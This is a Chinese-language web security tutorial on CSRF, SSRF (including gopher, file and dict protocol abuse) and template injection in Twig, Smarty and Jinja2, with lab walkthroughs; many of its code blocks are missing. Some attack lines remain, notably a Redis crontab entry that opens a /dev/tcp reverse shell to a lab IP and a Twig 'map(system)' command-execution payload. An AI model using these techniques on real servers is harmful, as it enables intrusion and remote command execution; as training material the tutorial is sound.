CSRF

简介

CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无token/referer限制,导致攻击者可以用户的身份完成操作达到各种目的。根据HTTP请求方式,CSRF利用方式可分为两种。 CSRF是跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。 绝大多数网站是通过Cookie等方式辨识用户身份,再予以授权的。所以要伪造用户的正常操作,最好的方法是通过XSS或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统。

image.png

从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:

  1. 登录受信任网站 A,并在本地生成 Cookie 。
  2. 在不登出 A的情况下,访问危险网站 B。

CSRF攻击的目的是滥用基本的Web功能。如果该网站可以使服务器上的状态变化,如改变受害者的电子邮件地址或密码,或购买的东西,强迫受害人检索数据等等。CSRF攻击会修改目标状态。在这一过程中,受害者会代替攻击者执行这些攻击,攻击者中不会收到响应,受害者会代替攻击者执行这些攻击。 在跨站请求伪造(CSRF)攻击中,攻击者经由用户的浏览器注入网络请求来破坏用户与网站的会话的完整性。浏览器的安全策略允许网站将HTTP请求发送到任何网络地址。此策略允许控制浏览器呈现的内容的攻击者使用此用户控制下的其他资源。 可以这么理解 CSRF 攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。 CSRF 能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账造成的问题包括:个人隐私泄露以及财产安全。 需要对页面参数做修改时,可以使用burpsuit生成csrf poc,从而进行poc测试,测试完成之后一定要验证,浏览器执行了我们生成的poc测试,令数据产生变化。 CSRF和XSS的区别:XSS获取cookie,CSRF伪造跨站请求完成指令。CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

实操

靶场

在这里,以 lucy/123456 账号为例,进行登录。登录之后,可以看到lucy的个人信息

image.png

点击修改个人信息进入修改界面,然后进行抓包

image.png

得到下面的GET请求

修改一下请求,然后使用同一个浏览器提交,就可以触发信息的更改

image.png

可以将这个网址生成二维码,或者生成短网址来诱导管理员访问

实战

网站地址http://d12.s.iproute.cn/ 在网站后台管理员管理处添加管理员并且抓包

image.png

在提交的时候可以抓包到如下内容

image.png

下面是post提交的部分

这种的利用方式就会比较麻烦,因为是使用的POST方式提交的,可以考虑构造一个假的网页诱导管理员访问 首先生成html文件,此处可以使用chatgpt帮助我们快速生成input页面

使用管理员登陆过的浏览器打开此网页

image.png

当误点击了链接之后,就会出现如下界面

image.png

管理员被成功添加 当然也可以使用javascript,当管理员访问此页面的时候,自动触发提交请求,这样就可以把诱导的网址做成二维码来让管理员扫码或者是点开不做任何操作都能够触发

防御

CSRF的主要问题是敏感操作的链接容易被伪造。 Token是如何防止CSRF的:每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证,每次刷新界面或者重新开启新的请求就能够刷新Token,这样就能基本上防御住了CSRF

不要再客户端保存敏感信息 退出浏览器或者关闭及时清理会话机制 设置会话超时,比如10分钟内没有操作就自动退出

在一些敏感操作的时候要对身份进行二次认证,比如修改账号时需要校验旧密码 数据提交的时候使用POST不使用GET 使用http头中的referer来限制界面

在登录或其他重要操作的时候使用验证码校验,防止爆破破解

SSRF

简介

SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的一个安全漏洞,漏洞属于信息泄露的一种。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,因为服务器请求天然的可以穿越防火墙。 漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作正确的过滤和限制。 一般情况下,SSRF的攻击目标大多是网站的内部系统(正因为请求是由服务器端发起的,所以服务器能请求到与自身相连而与外网隔离的内部系统),只要当前服务器有向其他服务器发送请求的地方都可能存在SSRF漏洞。 一句话总结就是:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务

image.png

前置知识

相关函数

file_get_contents

file_get_contents()函数是PHP中一个用于读取文件内容的函数,它可以从一个文件中读取内容并返回该文件的内容字符串。 以下是file_get_contents()函数的语法:

参数说明:

示例:

在这个例子中,file_get_contents()函数从名为example.txt的本地文件中读取了内容,并将其保存在$file_contents变量中。它还从名为 http://example.com/ 的远程文件中读取了内容,并将其保存在$url_contents变量中。 利用点:可以从远程文件读取内容,相当于可以对内部的地址发起攻击的访问请求

fsockopen

fsockopen()函数是PHP中一个用于创建网络套接字连接的函数,可以用于连接到远程服务器并与其通信。它允许PHP脚本像一个网络客户端一样与远程服务器进行交互,例如发送和接收数据。 以下是fsockopen()函数的语法:

参数说明:

示例:

注意,此时编码是错误的,因为响应头的内容原本是给浏览器去解析的,但是我们直接接收回来,并且将全部的东西全部以字符串的类型赋值给了$response了。

所以下面可以看到响应头部和html内容都显示出来了,而且浏览器默认是GBK的解码,中文是乱码。image.png

在这个例子中,fsockopen()函数连接到example.com的默认HTTP端口(80)。然后,它发送一个HTTP GET请求,并使用fwrite()写入套接字。接下来,使用fgets()读取从服务器返回的响应,直到收到EOF。最后,使用fclose()关闭套接字,并将响应输出到屏幕上。 基于这种原理,可以做出web代理应用

image.png

可以看到页面是google但是域名确实代理地址

image.png

curl_exec

curl_exec()函数是 PHP 中一个用于执行 cURL 会话的函数,可以用于发送 HTTP 请求并获取响应。它允许 PHP 脚本像一个网络客户端一样与远程服务器进行交互,例如发送和接收数据。 以下是curl_exec()函数的语法:

参数说明:

示例:

image.png

在这个例子中,curl_exec()函数使用cURL句柄$curl执行HTTP GET请求,并返回服务器的响应。使用curl_setopt()函数设置cURL选项,例如请求的URL和返回数据的格式。最后,使用curl_close()函数关闭cURL句柄,并将响应输出到屏幕上。

相关协议

Gopher

Gopher在HTTP协议前是非常有名的信息查找系统,但是很老了,很少服务会用到它 但是,在SSRF漏洞中,它大方光彩,让SSRF漏洞利用更加广泛,利用此协议可以对ftp,memchahe,mysql,telnet,redis,等服务进行攻击,并可以构造发送GET,POST请求包。 也就是里哟过Gopher协议可以通过SSRF漏洞,让服务器发送自己精心构造的GET或者POST请求包

利用要点

利用方式 使用Gopher协议发送一个请求,环境为:nc起一个监听,curl发送gopher请求 nc启动监听,监听2333端口:nc -lp 2333 使用curl发送http请求,命令为

此时nc收到的消息为:

可以发现url中的a没有被nc接受到,如果命令变为

此时nc收到的消息为:

所以需要在使用gopher协议时在url后加入一个字符(该字符可随意写) 在gopher协议中发送HTTP的数据,需要以下三步:

  1. 构造HTTP数据包
  2. URL编码、替换回车换行为%0d%0a
  3. 发送gopher协议

image.png

准备一个php代码

一个GET型的HTTP包,如下:

URL编码后为:

image.png

需要注意

  1. 问号(?)需要转码为URL编码,也就是%3f
  2. 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
  3. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

发送请求HTTP POST请求: POST数据包的格式

将上面的POST数据包进行URL编码并改为gopher协议

image.png

查看报错日志

这里有个疑问:为什么发起了2次请求?为什么会把参数name=eagle当作一个请求?发现问题出现在POST请求头中,考虑哪些参数是POST请求必须的,经过排查,发现有4个参数为必要参数

进行URL编码:

发现请求正常

image.png

反弹shell Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架 (摘自百度百科) 靶场地址 https://github.com/vulhub/vulhub/blob/master/struts2/s2-045/README.zh-cn.md 今天我们用到的漏洞是Struts2-045漏洞,以下为S2-045漏洞反弹shell的利用代码,我们在本地机器上执行:nc -lp 2333

此处需要如下操作,推荐在线编码小工具:https://iproute.cn/html/encoder/

image.png

image.png

编码之后

一定要注意最后加上%0d%0a,以及很多URL编码工具将会回车换行转码为%0a,一定要自己替换为%0d%0a 发送请求后可以反弹shell

image.png

在SSRF中使用gopher协议反弹shell 环境如下 本次使用的是两个容器作为ssrf主机和s2-045漏洞主机

图片1.png

IP地址说明

设备简称IP地址说明
kali虚拟机192.168.173.129发起gopher攻击和nc监听的kali虚拟机
lnmp主机192.168.173.88存在ssrf漏洞的机器,上面运行着一个lnmp,里面跑着下面提到的php代码
struts2容器172.17.0.2struts2容器,因为存在一个get提交命令执行的漏洞,所以被拿过来作为ssrf最终攻击的目标

准备一个带有SSRF漏洞的页面,在lnmp主机上执行的代码如下

这里需要注意的是,你的PHP版本必须大于等于5.3,并且在PHP.ini文件中开启了extension=php_curl.dll 我在攻击机器上开启了一个监听nc -lp 2333 然后在攻击的kali虚拟机中访问

可以看到nc接收到了消息,没有问题。

此处我们先梳理一下代码,先创建如下代码的正常容器用于ssrf的测试和原理验证,

这里使用上面已经用过的gopher协议就可以触发hello eagle

如果使用ssrf来触发,url改成这样,注意,docker容器之间访问是无视映射的,比如docker run -p 8080:80 ...这样的命令,在容器之间访问的之后是不管8080端口的,还是访问的原来的端口号,所以下面改成172.16.0.2:80

测试结果如下

image.png

发现并没有出现get页面的hello eagle,说明请求失败,发现是因为在PHP在接收到参数后会做一次URL的解码,正如我们上图所看到的,%20等字符已经被转码为空格。

image.png

所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要进行二次URL编码。编码结果如下:

此时发起请求,得到如下结果(如果遇访问缓慢,耐心等待):

image.png

使用SSRF漏洞配合gopher协议来获取shell 下面利用struts2容器的漏洞(假设172.17.0.2是struts2容器的ip地址),并且打开nc监听

前面添加的内容如下,注意修改IP地址符合你的实验环境

image.png

编码后如下,两次url编码

访问之后成功获得nc反弹shell

image.png

为了方便大家二次编码,此处提供python3脚本工具

file

File协议是一种用于访问本地文件系统的URI协议,它允许通过URI来直接引用文件系统中的文件。 file协议可以查看本地的文件,如果存在ssrf漏洞的主机挂载了一些内网的资源,比如samba等,就可以借助ssrf漏洞访问内网的资源了 File协议的格式通常如下所示:

其中file://表示使用File协议,/path/to/file表示文件在文件系统中的路径。在Windows系统上,路径可能包含驱动器号,例如:

使用File协议,可以在Web浏览器或其他支持URI协议的应用程序中打开本地文件。例如,在Web浏览器中输入文件的File URI,可以在浏览器中打开该文件。

image.png

如下的url就可以访问ssrf漏洞的主机本地的文件

Dict协议

Dict协议是一种用于在互联网上查询字典和词典的URI 协议。它通常用于查询特定词汇的定义、拼写或同义词等相关信息。Dict 协议使用 TCP 端口 2628 进行通信。 Dict协议的URI格式通常如下所示:

其中 表示字典服务器的主机名或 IP 地址, 表示字典服务器的端口号, 表示 所要查询的词典名称, 表示查询策略, 表示要查询的词汇。 编写一个php脚本 curl_exec函数是危害最大的函数,也是需要重点讲的函数。以上代码是获取参数url的值,使用curl进行访问。 curl_exec的使用需要3个条件:

  1. PHP版本>=5.3
  2. 开启extension=php_curl.dll
  3. --wite-curlwrappers(编译PHP时用,此时不需要,可忽略)

可以对内网IP地址扫描,在发现对应的端口之后,使用dict协议可以获取目标端口指纹 SSH服务的端口指纹

image.png

redis的端口指纹 redis是一种键值对数据库,在开发中常用作缓存数据库,缓存中会出现大量的敏感信息,比如用户登录的session,应用的api key等等,所以redis数据库发生数据泄漏,会导致很严重的后果。企业的redis数据库都会保护在内网中,不会对外开放的。

访问如下地址,就可以探测redis端口指纹了

image.png

可以使用dict协议执行命令,例如可以获取redis的变量

查询变量

image.png

通过dict协议利用redis的未授权访问反弹shell 开启nc监听

扩展知识

  1. redis所有的数据都是存放在内存中的,那么一旦重启redis,数据就会全丢。
  2. redis是可以支持数据持久化的,这个功能叫做RDB,启用了RDB之后,redis就会将键值数据保存在备份文件中。
  3. 在redis中输入bgsave就会将键值数据保存到dir/dbfilename这个文件中。
  4. 在redis中可以通过set dirset dbfilename来改变这个RDB文件的存放位置。
  5. 如果redis中有个值是<?php phpinfo();?>,保存位置被我们改成了/var/www/html/tz.php那么就可以利用成功了。
  6. 下面将会以Linux任务计划crontab的配置文件被篡改来说明。
  7. crontab是Linux的任务计划,/etc/contab文件中写的命令会按照contab表达式的时间周期自动执行。

redis可以使用如下方式查看提交的内容

先访问如下地址,写入一个键值对mars:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.173.129/2333 0>&1\n\n"

可以在redis容器里面查看是否写入成功

下面修改dirdbfilename两个值

然后使用RDB数据保存下来的命令

利用相关

实现攻击

可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息 攻击运行在内网或本地的应用程序(比如溢出) 对内网WEB应用进行指纹识别,通过访问默认文件实现 攻击内外网的web应用,主要是使用GET参数就可以实现的攻击(比如Struts2,sqli等) 利用file协议读取本地文件等

可能存在漏洞的位置

能够对外发起网络请求的地方,就可能存在SSRF漏洞 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB) 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML) 未公开的api实现及调用URL的功能 社交分享功能:获取超链接的标题等内容进行显示 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览 在线翻译:给网址翻译对应网页的内容 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用户体验 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作 数据库内置功能:数据库的比如mongodb的copyDatabase函数 邮件系统:比如接收邮件服务器地址 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等 未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。 一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

实操

ssrf_curl

image.png

我们可以看到这个链接有一个URL参数, 单独拿出来访问

image.png

可以看到有这个对应内容, 如果我们把这个URL参数改成 https://www.baidu.com/可以看到内容发生了变化

image.png

那我们就可以利用这个来进行利用

image.png

可以看到文件内容被显示到网页上

如果端口开放就会把对应的界面显示到网页中,如果没有开放就会转圈需要一直在链接,并且我们可以使用F12查看有无新增的前端代码 端口未开放

image.png

前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。 除了http/https外,curl还支持一些其他的协议curl --version可以查看其支持的协议,curl支持很多协议:

ssrf_fgc

image.png

读取当前文件

image.png

绕过

有些服务没有考虑 IPv6 的情况,但是内网又支持 IPv6 ,则可以使用 IPv6 的本地 IP 如 [::] 0000::1 或IPv6 的内网域名来绕过过滤。

模板注入

简介

模板引擎可以让(网站)程序实现界面与数据分离业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,依然有许多手段绕过它。 模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。 模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

SSTI

SSTI就是服务器端模板注入(Server-Side Template Injection) 当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。 漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。 凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。 凡是使用模板的网站,基本都会存在SSTI,只是能否控制其传参而已。

速查表

SSTI(server-side template injection)为服务端模板注入攻击,它主要是由于框架的不规范使用而导致的。主要为python的一些框架,如 jinja2 mako tornado django flask、PHP框架smarty twig thinkphp、java框架jade velocity spring等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑。 各框架模板结构如下图所示:

1344396-20200911174631687-758048107.png

PHP中的SSTI

Twig

Twig 是一个灵活、快速、安全的 PHP 模板语言。它将模板编译成经过优化的原始 PHP 代码。Twig 拥有一个 Sandbox 模型来检测不可信的模板代码。Twig 由一个灵活的词法分析器和语法分析器组成,可以让开发人员定义自己的标签,过滤器并创建自己的 DSL。

Twig 的安装

这里我们的 Twig 版本是 Twig 3.x,其需要的 PHP 版本为 PHP 7.x 建议通过 Composer 安装 Twig:

安装之后可以直接使用 Twig 的 PHP API 进行调用:

上述代码中,Twig 首先使用一个加载器 Twig_Loader_Array 来定位模板,然后使用一个环境变量 Twig_Environment 来存储配置信息。其中, render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板。 由于模板文件通常存储在文件系统中,Twig 还附带了一个文件系统加载程序: 在网站根目录创建templates文件夹,并且写入index.html

在php文件中写入

Twig 模板的基础语法

模板实际就是一个常规的文本文件,它可以生成任何基于文本的格式(HTML、XML、CSV、LaTeX等)。它没有特定的扩展名,.html、.xml、.twig 都行。 模板包含变量或表达,在评估编译模板时,这些带值的变量或表达式会被替换。还有一些控制模板逻辑的标签 tags。下面是一个非常简单的模板,它阐述了一些基础知识:

调用此模版

效果

image.png

有两种形式的分隔符:{% ... %} 和 {{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。 需要注意的是twig会生产缓存文件,所以导致有时候模版的变化并不能直接看到效果,可以每次都让php先清理缓存,再渲染模版

变量

应用程序将变量传入模板中进行处理,变量可以包含你能访问的属性或元素。你可以使用 . 来访问变量中的属性(方法或 PHP 对象的属性,或 PHP 数组单元),也可以使用所谓的 "subscript" 语法 []:

设置变量

可以为模板代码块内的变量赋值,赋值使用 set 标签:

过滤器

可以通过过滤器 filters 来修改模板中的变量。在过滤器中,变量与过滤器或多个过滤器之间使用 | 分隔,还可以在括号中加入可选参数。可以连接多个过滤器,一个过滤器的输出结果将用于下一个过滤器中。 下面这个过滤器的例子会剥去字符串变量 name 中的 HTML 标签,然后将其转化为大写字母开头的格式:

下面这个过滤器将接收一个序列 list,然后使用 join 中指定的分隔符将序列中的项合并成一个字符串:

更多内置过滤器请参考:https://twig.symfony.com/doc/3.x/filters/index.html

函数

在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range() 函数用来返回一个包含整数等差数列的列表:

更多内置函数请参考:https://twig.symfony.com/doc/3.x/functions/index.html

控制结构

控制结构是指控制程序流程的所有控制语句 if、elseif、else、for 等,以及程序块等等。控制结构出现在 {% ... %} 块中。 例如使用 for 标签进行循环:

if 标签可以用来测试表达式:

更多 tags 请参考:https://twig.symfony.com/doc/3.x/tags/index.html

注释

要在模板中注释某一行,可以使用注释语法 {# ...#}:

引入其他模板

Twig 提供的 include 函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板:

模板继承

Twig 最强大的部分是模板继承。模板继承允许您构建一个基本的 "skeleton" 模板,该模板包含站点的所有公共元素,并定义子模版可以覆写的 blocks 块。 然后允许其他子模板集成并重写。 比如,我们先来定义一个基础的模板 base.html,它定义了一个基础的 HTML skeleton 文档:

在这个例子中,block 标签定义了 4 个块,可以由子模版进行填充。对于模板引擎来说,所有的 block 标签都可以由子模版来覆写该部分。 子模版大概是这个样子的:

其中的 extends 标签是关键所在,其必须是模板的第一个标签。 extends 标签告诉模板引擎当前模板扩展自另一个父模板,当模板引擎评估编译这个模板时,首先会定位到父模板。由于子模版未定义并重写 footer 块,就用来自父模板的值替代使用了。 更多 Twig 的语法请参考:https://twig.symfony.com/doc/3.x/

Twig 模板注入

和其他的模板注入一样,Twig 模板注入也是发生在直接将用户输入作为模板,比如下面的代码:

比如下图这样,后面会讲解原理

image.png

这里的代码中,createTemplate时注入了$_GET['name'],此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的{{name}},而不是动态拼接的$_GET["name"]

image.png

而对于 Twig 模板注入利用,往往就是借助模板中的一些方法或过滤器实现攻击目的。下面我们分版本进行讲解。

Twig 1.x

创建twgi 1.x环境

测试代码如下:

存在SSTI

image.png

在 Twig 1.x 中存在三个全局变量:

对应的代码是:

这里主要就是利用 _self 变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environment 的 env 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法,从而进行 SSTI。 比如以下 Payload 可以调用 setCache 方法改变 Twig 加载 PHP 文件的路径,在 allow_url_include 开启的情况下我们可以通过改变路径实现远程文件包含:

此外还有 getFilter 方法:

我们在 getFilter 里发现了危险函数 call_user_func。通过传递参数到该函数中,可以调用任意 PHP 函数。所以我们只需要给$callback$name 赋值就可以实现命令执行,$callback的赋值需要通过调用registerUndefinedFilterCallback()方法。Payload 如下:

但是在 Twig 2.x 及 Twig 3.x 以后,_self 的作用发生了变化,只能返回当前实例名字符串:

所以以上 Payload 只能适用于 Twig 1.x 。

然而现在Twig 1.x最新版已经修复了这个_self,上面的案例要复现成功,只能找到较早版本的1.x

Twig 2.x / 3.x

测试代码如下:

到了 Twig 2.x / 3.x 版本中,_self 变量在 SSTI 中早已失去了他的作用,但我们可以借助新版本中的一些过滤器实现攻击目的。

使用 map 过滤器

在 Twig 3.x 中,map 这个过滤器可以允许用户传递一个箭头函数,并将这个箭头函数应用于序列或映射的元素:

当我们如下使用 map 时:

Twig 3.x 会将其编译成:

这个 twig_array_map 函数的源码如下:

从上面的代码我们可以看到,传入的 $arrow 直接就被当成函数执行,即 $arrow($v, $k) ,而 $v$k 分别是 $array 中的 value 和 key。$array$arrow 都是我们我们可控的,那我们可以不传箭头函数,直接传一个可传入两个参数的、能够命令执行的危险函数名即可实现命令执行。通过查阅常见的命令执行函数:

前三个都可以使用。相应的 Payload 如下:

其中{{["id"]|map("system")}}会被成下面这样:

最终在twig_array_map函数中将执行system('id',0)。执行结果如下图所示:

image.png

如果上面这些命令执行函数都被禁用了,我们还可以执行其他函数执行任意代码:

image.png

按照 map 的利用思路,我们去找带有 $arrow 参数的,可以发现下面几个过滤器也是可以利用的。

使用 sort 过滤器

这个 sort 筛选器可以用来对数组排序。

你可以传递一个箭头函数来对数组进行排序:

类似于 map,模板编译的过程中会进入 twig_sort_filter 函数,这个 twig_sort_filter 函数的源码如下:

从源码中可以看到,$array$arrow 直接被 uasort 函数调用。众所周知 uasort 函数可以使用用户自定义的比较函数对数组中的元素按键值进行排序,如果我们自定义一个危险函数,将造成代码执行或命令执行:

知道了做这些我们便可以构造 Payload 了:

image.png

使用 filter 过滤器

这个 filter 过滤器使用箭头函数来过滤序列或映射中的元素。箭头函数用于接收序列或映射的值:

类似于 map,模板编译的过程中会进入 twig_array_filter 函数,这个 twig_array_filter 函数的源码如下:

从源码中可以看到,$array$arrow 直接被 array_filter 函数调用。 array_filter 函数可以用回调函数过滤数组中的元素,如果我们自定义一个危险函数,将造成代码执行或命令执行:

下面给出几个 Payload:

image.png

使用 reduce 过滤器

这个 reduce 过滤器使用箭头函数迭代地将序列或映射中的多个元素缩减为单个值。箭头函数接收上一次迭代的返回值和序列或映射的当前值:

类似于 map,模板编译的过程中会进入 twig_array_reduce 函数,这个 twig_array_reduce 函数的源码如下:

从源码中可以看到,$array$arrow 直接被 array_filter 函数调用。 array_reduce 函数可以发送数组中的值到用户自定义函数,并返回一个字符串。如果我们自定义一个危险函数,将造成代码执行或命令执行。 直接给出 Payload:

在最新的3.x版本中,此过滤器无法触发,因为twig_array_reduce发生了变化

image.png

CTF实战

经测试,发现在 Cookie 处存在 SSTI 漏洞:

20210813192642.png

20210813192637.png

根据 SSTI 的测试流程发现目标环境使用了 Twig 模板,版本是 Twig 1.x,直接上 Payload 打就行了:

20210813192620.png

smarty

基础使用方法

在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {name},然后调用 Smarty 的方法传递变量参数即可 安装方法

使用方法

创建模版文件./templates/index.tpl

image.png

开始复现

修改测试源码

任意文件读取

引入普通文件:

image.png

引入php文件:

image.png

查看源码就能拿到完整的php代码

image.png

代码执行漏洞

image.png

image.png

CVE-2021-26120

切换到较早的smarty版本

查看版本

image.png

测试效果

image.png

导致漏洞的代码在 libs/sysplugins/smarty_internal_compile_function.php#Smarty_Internal_Compile_Function->compile()

image.png

查看 3.1.39 版本修复之后的代码,可以看到增加了正则限制 name 的内容,此时就无法注入恶意代码了

image.png

CVE-2021-26119

我们将版本切换到最新版

测试效果

image.png

CVE-2021-29454

版本限制:在 3.1.42 和 4.0.2 中修复,小于这两个版本可用 php 的 eval() 支持传入 8 或 16 进制数据,以下代码在 php7 版本都可以顺利执行,由于 php5 不支持 (system)(whoami); 这种方式执行代码,所以 php5 的 8 进制方式用不了:

image.png

python中的SSTI

环境使用的是如下docker

关于此容器说明: 进入到该容器后,将py代码放在/code下,然后使用python xxx.py运行py程序

jinja2

这里使用python的flask框架测试ssti注入攻击的过程。

在kali上可以使用如下命令执行这个app.py文件

image.png

测试代码

image.png

发现存在模板注入 获得字符串的type实例

image.png

这里使用的置换型模板,将字符串进行简单替换,其中参数name的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。 {{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。 以flask的jinja2引擎为例,官方的模板语法如下:

{% ... %} 用于声明,比如在使用for控制语句或者if语句时 {{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式 {# ... #} 用于模板注释 # ... ## 用于行语句,就是对语法的简化 #...# 可以有和{%%}相同的效果

由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下面通过 SSTI 命令执行成功执行 whoami 命令:

image.png

需要注意的是,由于不同的python版本os._wrap_close类存在的位置不一样,可以提前进行查询,在本环境中是137

image.png

可以看到命令被成功执行了。下面讲下构造的思路: 一开始是通过__class__ 通过 __base__ 拿到object基类,接着利用 __subclasses()__ 获取os._wrap_close子类。在全部子类中找到被重载的类即为可用的类,然后通过__init__ 去获取__globals__ 全局变量,接着通过__builtins__ 获取eval函数,最后利用popen命令执行、read()读取即可。 上述构造及实例没有涉及到过滤,不需要考虑绕过,所以只是ssti注入中较简单的一种。但是当某些字符或者关键字被过滤时,情况较为复杂。实际上不管对于哪种构造来说,都离不开最基本也是最常用的方法。下面是总结的一些常用到的利用方法和过滤器。 可以使用如下python代码确定所需要的类编号

常用的方法

常用的过滤器

详细说明可以参考官方文档:https://jinja.palletsprojects.com/en/latest/templates/,这里列出一些常用的。

常用的构造语句

接着是总结的一些常用的命令执行语句。

读取文件

python2的使用<type 'file'>这个类型

python3中调用<class '_frozen_importlib_external.FileLoader'>这个类去读取文件

image.png

执行命令

可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。这里我们简单挑几个常用的讲解。 寻找内建函数 eval 执行命令 首先编写脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号: 注意!需要关闭flask的debug模式,因为报错界面里面包含eval,会导致每个页面都符合。 app.run(host="0.0.0.0",port=5000,debug=False)

我们可以记下几个含有eval函数的类:

所以payload如下:

image.png

我们可以看到,使用eval函数执行命令也是调用的os模块,那我们直接调用os模块不是更简单? 寻找 os 模块执行命令 Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。 首先编写脚本遍历目标Python环境中含有os模块的类的索引号:

随便挑一个类构造payload执行命令即可:

image.png

但是该方法遍历得到的类不准确,因为一些不相关的类名中也存在字符串 “os”,所以我们还要探索更有效的方法。 我们可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os._wrap_close,但也不绝对。由于目标Python环境的不同,我们还需要遍历一下。 寻找 popen 函数执行命令

直接构造payload即可:

image.png

这样得到的索引还是很准确的。 除了这种方法外,我们还可以直接导入os模块,python有一个importlib类,可用load_module来导入你需要的模块。 寻找 importlib 类执行命令 Python 中存在<class '_frozen_importlib.BuiltinImporter'>类,目的就是提供 Python 中 import 语句的实现(以及 __import__函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。 首先编写脚本遍历目标Python环境中 importlib 类的索引号:

构造如下payload即可执行命令:

image.png

